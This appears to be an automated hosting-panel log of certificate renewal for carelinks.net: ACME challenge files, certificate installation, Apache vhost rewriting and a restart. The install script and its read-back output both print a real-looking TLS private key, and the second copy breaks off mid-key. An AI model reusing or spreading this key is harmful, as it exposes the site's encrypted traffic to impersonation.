usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-27 06:00:44: Establishing a connection
2025-10-27 06:00:45: Establishing a connection
2025-10-27 06:00:46:
PUT: /tmp/pkp384676
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-27 06:00:47:
chmod 755 /tmp/pkp384676; /tmp/pkp384676; rm /tmp/pkp384676
2025-10-27 06:00:47:
0
2025-10-28 06:00:03: Establishing a connection
2025-10-28 06:00:05: Establishing a connection
2025-10-28 06:00:06:
PUT: /tmp/pkp104472
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-28 06:00:07:
chmod 755 /tmp/pkp104472; /tmp/pkp104472; rm /tmp/pkp104472
2025-10-28 06:00:07:
0
2025-10-29 06:00:03: Establishing a connection
2025-10-29 06:00:04: Establishing a connection
2025-10-29 06:00:05:
PUT: /tmp/pkp383215
#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-29 06:00:06:
chmod 755 /tmp/pkp383215; /tmp/pkp383215; rm /tmp/pkp383215
2025-10-29 06:00:07:
1
2025-10-29 06:00:08: Establishing a connection
2025-10-29 06:00:09:
PUT: /tmp/pkp896212
#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > 2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8
cat > SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY
2025-10-29 06:00:10:
chmod 755 /tmp/pkp896212; /tmp/pkp896212; rm /tmp/pkp896212
2025-10-29 06:00:11:
2025-10-29 06:00:19: Establishing a connection
2025-10-29 06:00:20:
PUT: /tmp/pkp489196
#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm 2LiDjC4V32xsz0SBtXhF1kSxW4BaB3HHqoiCIVrSOr8
rm SQLesUC3rcSqlhORrBdSoSfvimR34AaM6WxPK3tbQDY
2025-10-29 06:00:21:
chmod 755 /tmp/pkp489196; /tmp/pkp489196; rm /tmp/pkp489196
2025-10-29 06:00:21:
2025-10-29 06:00:21: Establishing a connection
2025-10-29 06:00:22:
PUT: /tmp/pkp171091
#!/bin/bash
temp_file=$(mktemp)
TARGET=be70646a2e1144028f50a65574b0ded5.crt
cat > $temp_file <<'endmsg'
83:af:8e:52:82:95:41:62:6f:17:b6:cd:33:39:d2:8d
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBRPl+YtUeB+UsCRJx0/LHrJwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI5MDUwMTQ4WhcNMjYwMTI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
sKOJoxHnf2qpSEmSyiiNiUq8Cpo3LO8LuuCJlb6dRWrxBKDa8UbKfzBy/IMMUfpp
elMseM+HhQclwFuVr3xCYag+iK2uxa68SlCXWBlTSlrcI5rENe0EvLgcoaKPQqhO
9SFqCwS+bRmBBDXuUgIjV5gH1NNc/VPzjYTr69q1Ei3z6JXJd+CXdfq+WOQ72pO/
vbmKgR20BhlHIAPKdr5UZQ8DhS5eRP/A9qmhENspBrroJQ1hNYEGF6xhASGhKWdK
LLHETf/Ym4yEHtNAknA9GTv7FQyyQsD52+84qmlYw9ZDbB6FWX8DD986/3oG4CF5
S91JPhLTRi+GR1NA5bxVswIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRx03dPg7Gpf3x1xze05psARGtt9TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5uZXSCEXd3dy5j
YXJlbGlua3MubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTEzLmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mi6NiDIAAAQDAEgwRgIhAM0c8qsc4VuxFwTJ8UCq4uDuTOR7y0obpVRj6Afit1li
AiEAt3H0i7Y0+gin4vbNTq2esypMHLYmGCcBJbtB2h8lXWoAdwAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZoujYgvAAAEAwBIMEYCIQD/xaZsnnoc
1mqYyItizUymUhQMHiLKBicmGOUlbdl62QIhAK51BClOwUDm2G1m0oWEW2Rs9zKH
Vg7jqsmL+exTyyO1MA0GCSqGSIb3DQEBCwUAA4IBAQBIY5GCmSx2dU7EGuKJPWfe
Svv+C2Ed8YRyacxUVnHTwaDO5/gJJYBBBdkmf6M6XETzCwTBVACOjKV5GPbM+tFP
kNy1dm9eKbYEJttr22dC2v4tXQCOYBqUTV0qLV2W0sERiFz98EQODH1ewQNLtesr
/roGnHyL2or+3ShzsAH0V17YzN58QqK54fU1aZOeX8F/TWVCahziegvIVrBK9II8
0kcZIHCavFkQxMCMM9nrhzipgZVwimJ+oWOC9y2Mjqak8HhwSTCMIIpzpSPQ3mrj
pAwOHWBJhcGI9+Ye73bVjXTt1/n3uNpTtsXfRO9rEDqotnyKVS8lUHxg+aVXIx/P
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwo4mjEed/aqlI
SZLKKI2JSrwKmjcs7wu64ImVvp1FavEEoNrxRsp/MHL8gwxR+ml6Uyx4z4eFByXA
W5WvfEJhqD6Ira7FrrxKUJdYGVNKWtwjmsQ17QS8uByhoo9CqE71IWoLBL5tGYEE
Ne5SAiNXmAfU01z9U/ONhOvr2rUSLfPolcl34Jd1+r5Y5Dvak7+9uYqBHbQGGUcg
A8p2vlRlDwOFLl5E/8D2qaEQ2ykGuuglDWE1gQYXrGEBIaEpZ0osscRN/9ibjIQe
00CScD0ZO/sVDLJCwPnb7ziqaVjD1kNsHoVZfwMP3zr/egbgIXlL3Uk+EtNGL4ZH
U0DlvFWzAgMBAAECggEAcEomLzIslkV6A+gxlq4c+9A0phDPTpNQQ6aGEFmypPSM
70JKrOMxy5VDI98zL9Iex5KkTNCw+BJJH3WZPIujr21DA6RV3HluXVfKPkkrN7N3
CnNSlG1ue4IXQXGT3O4d85sgTIzheX2jFMgsDpopWX/eSp9rF+gMhkSfrbnFLh5V
IbXyISEvGTj8HhLPZsyYoGkrY67b0E7R2R7/CKQgPnDQsYHUAGYQJTXcWWZoxIml
8yl5a8d3X3bQ4Ham9zdaVJ+AQ5h7YPrli78Nys0k4/1Pmqr2WGPWDU/wnsOdmuNH
HGv6Bs2XmO8yqeD9NGvg0g4bvVqHt9hy0qFz9rqKAQKBgQDmDaJ8irSVsffzAybb
AkuR72tpTU6Nzl7NIsgF6o3yjfC8oZ7vXqCsO3usQqVig6IlpzM0meqCxRl8UHMo
oUdEkNDwlNGS9nIGx6TzwSNyVahJIgtH6mWXXkv80Jj1t+rTUk6Tf3x0n7fiapYP
GdOOJyyhLflH7mX+T5kWAz7xMwKBgQDEj6i3nb/4Nt3uIcZKlDLlsqrqbGNQJ3c3
PvbSyxENFttUZ73aaxJa5UuQZ+V2nPBP+WagPjt9o57/CwLnAHLLLE3UD4vAWGqD
ydyUG/Ccf/J/c8tyUAkz9MVZeegBO3lhVLJAN1Z9iXcFQMWYGv8ANS08M8x7u6yc
MHpVNU4JgQKBgQCz+qbMWJe/JWSeMjEL1lfY7D5UO67hMjrosfVa643x3Soh6S+2
hYmeNUskEV/iGqmYW56r4F6fwCOYJjhx6PsgoUtVbJgpKbU7qKVcLhXVNT5bOM8q
jC6+pX89YtTIKAMHILVon6x2cR4jfM+5MLNZ2zwHPThxFgmlVBCoMBHmEQKBgDMd
tN+DO4/+HLq3t8xfO9k2HHJ4G1+V08/fJOruehGwVvtdOycY3x4aMQttqWOuLmRt
1D1p0ai7qzZiE7AlErU5YUf7fvlXROPe0+kEVw8rytFQOKESpUIIrmW1aRsg71Db
aLuAaJKe8/++t2P16UiRi6DzS4MF7D518OpFwXSBAoGBALpRCt6O94RMUuoNo7Jj
MMz2hoIBMEGMaxtHBwyvT/K9/dkOVHBJKLnMjXjjKqgix0rqIdkNNtqGZwGpJYVc
4IKadcHMBO9SjRy6TItYj2+2j2nFZksYRlmAo/Oo38BBgjkbRipUAMmjsmItEuBp
XIu0yVYpQ/kcevPfMFwStgHt
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-29 06:00:23:
chmod 755 /tmp/pkp171091; /tmp/pkp171091; rm /tmp/pkp171091
2025-10-29 06:00:24:
dir=/etc/ssl/certs
2025-10-29 06:00:24:
PUT: /tmp/pkp807339
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-29 06:00:24:
chmod 755 /tmp/pkp807339; /tmp/pkp807339; rm /tmp/pkp807339
2025-10-29 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf 41
<VirtualHost *:80>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-29 06:00:24:
PUT: /tmp/pkp103519
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_net.conf= 1'
fi
2025-10-29 06:00:25:
chmod 755 /tmp/pkp103519; /tmp/pkp103519; rm /tmp/pkp103519
2025-10-29 06:00:25:
2025-10-29 06:00:25:
PUT: /tmp/pkp268570
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-29 06:00:26:
chmod 755 /tmp/pkp268570; /tmp/pkp268570; rm /tmp/pkp268570
2025-10-29 06:00:26:
.
2025-10-29 06:00:26: Establishing a connection
2025-10-29 06:00:27:
PUT: /tmp/pkp756849
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-29 06:00:28:
chmod 755 /tmp/pkp756849; /tmp/pkp756849; rm /tmp/pkp756849
2025-10-29 06:00:29:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-29 06:00:29:
PUT: /tmp/pkp166096
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-29 06:00:29:
chmod 755 /tmp/pkp166096; /tmp/pkp166096; rm /tmp/pkp166096
2025-10-29 06:00:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf 1240
<VirtualHost *:80>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-29 06:00:29:
PUT: /tmp/pkp716189
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-29 06:00:30:
chmod 755 /tmp/pkp716189; /tmp/pkp716189; rm /tmp/pkp716189
2025-10-29 06:00:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt 5372
83:af:8e:52:82:95:41:62:6f:17:b6:cd:33:39:d2:8d
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBRPl+YtUeB+UsCRJx0/LHrJwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI5MDUwMTQ4WhcNMjYwMTI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
sKOJoxHnf2qpSEmSyiiNiUq8Cpo3LO8LuuCJlb6dRWrxBKDa8UbKfzBy/IMMUfpp
elMseM+HhQclwFuVr3xCYag+iK2uxa68SlCXWBlTSlrcI5rENe0EvLgcoaKPQqhO
9SFqCwS+bRmBBDXuUgIjV5gH1NNc/VPzjYTr69q1Ei3z6JXJd+CXdfq+WOQ72pO/
vbmKgR20BhlHIAPKdr5UZQ8DhS5eRP/A9qmhENspBrroJQ1hNYEGF6xhASGhKWdK
LLHETf/Ym4yEHtNAknA9GTv7FQyyQsD52+84qmlYw9ZDbB6FWX8DD986/3oG4CF5
S91JPhLTRi+GR1NA5bxVswIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRx03dPg7Gpf3x1xze05psARGtt9TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5uZXSCEXd3dy5j
YXJlbGlua3MubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTEzLmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mi6NiDIAAAQDAEgwRgIhAM0c8qsc4VuxFwTJ8UCq4uDuTOR7y0obpVRj6Afit1li
AiEAt3H0i7Y0+gin4vbNTq2esypMHLYmGCcBJbtB2h8lXWoAdwAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZoujYgvAAAEAwBIMEYCIQD/xaZsnnoc
1mqYyItizUymUhQMHiLKBicmGOUlbdl62QIhAK51BClOwUDm2G1m0oWEW2Rs9zKH
Vg7jqsmL+exTyyO1MA0GCSqGSIb3DQEBCwUAA4IBAQBIY5GCmSx2dU7EGuKJPWfe
Svv+C2Ed8YRyacxUVnHTwaDO5/gJJYBBBdkmf6M6XETzCwTBVACOjKV5GPbM+tFP
kNy1dm9eKbYEJttr22dC2v4tXQCOYBqUTV0qLV2W0sERiFz98EQODH1ewQNLtesr
/roGnHyL2or+3ShzsAH0V17YzN58QqK54fU1aZOeX8F/TWVCahziegvIVrBK9II8
0kcZIHCavFkQxMCMM9nrhzipgZVwimJ+oWOC9y2Mjqak8HhwSTCMIIpzpSPQ3mrj
pAwOHWBJhcGI9+Ye73bVjXTt1/n3uNpTtsXfRO9rEDqotnyKVS8lUHxg+aVXIx/P
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwo4mjEed/aqlI
SZLKKI2JSrwKmjcs7wu64ImVvp1FavEEoNrxRsp/MHL8gwxR+ml6Uyx4z4eFByXA
W5WvfEJhqD6Ira7FrrxKUJdYGVNKWtwjmsQ17QS8uByhoo9CqE71IWoLBL5tGYEE
Ne5SAiNXmAfU01z9U/ONhOvr2rUSLfPolcl34Jd1+r5Y5Dvak7+9uYqBHbQGGUcg
A8p2vlRlDwOFLl5E/8D2qaEQ2ykGuuglDWE1gQYXrGEBIaEpZ0osscRN/9ibjIQe
00CScD0ZO/sVDLJCwPnb7ziqaVjD1kNsHoVZfwMP3zr/egbgIXlL3Uk+EtNGL4ZH
U0DlvFWzAgMBAAECggEAcEomLzIslkV6A+gxlq4c+9A0phDPTpNQQ6aGEFmypPSM
70JKrOMxy5VDI98zL9Iex5KkTNCw+BJJH3WZPIujr21DA6RV3HluXVfKPkkrN7N3
CnNSlG1ue4IXQXGT3O4d85sgTIzheX2jFMgsDpopWX/eSp9rF+gMhkSfrbnFLh5V
IbXyISEvGTj8HhLPZsyYoGkrY67b0E7R2R7/CKQgPnDQsYHUAGYQJTXcWWZoxIml
